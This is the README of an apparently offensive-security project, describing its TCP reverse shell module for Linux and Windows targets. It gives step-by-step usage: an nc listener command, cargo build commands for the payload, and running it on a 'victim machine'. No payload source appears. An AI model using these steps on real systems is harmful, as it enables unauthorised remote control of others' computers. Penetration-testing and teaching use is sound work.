kmanc
338017cb54
* missed commit * filled in links in readme * filled in links in readme * bumped process migration to first release
RCO: TCP Reverse Shell
What it is
RCO's TCP reverse shell is a no-frills reverse shell. This means it allows you to run Terminal (Linux) or Command Prompt (Windows) commands on the victim machine from the attacking machine. Getting a remote shell on a victim machine usually allows much more control over the victim than other attacks.
How it works
Both RCO's Linux and Windows TCP reverse shells work by establishing a TCP session from the victim machine to the attacking machine. Then a Terminal (Linux) or Command Prompt (Windows) process is spun up with its standard input, standard output, and standard error all assigned to the TCP session. This means that input commands and output results are read from and written to (respectively) a TCP stream.
Using it
-
Start a listener on the attacking machine
nc -nlvp 4444 -
Open the config file and change the IP address and port to match your attacking machine and listener, respectively
-
Compile the executable
For Linux targets
cargo build -p tcp_reverse_shell --releaseFor Windows targets
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release -
Execute the payload on the victim machine
-
Return to the listener and enter desired commands for the victim machine to run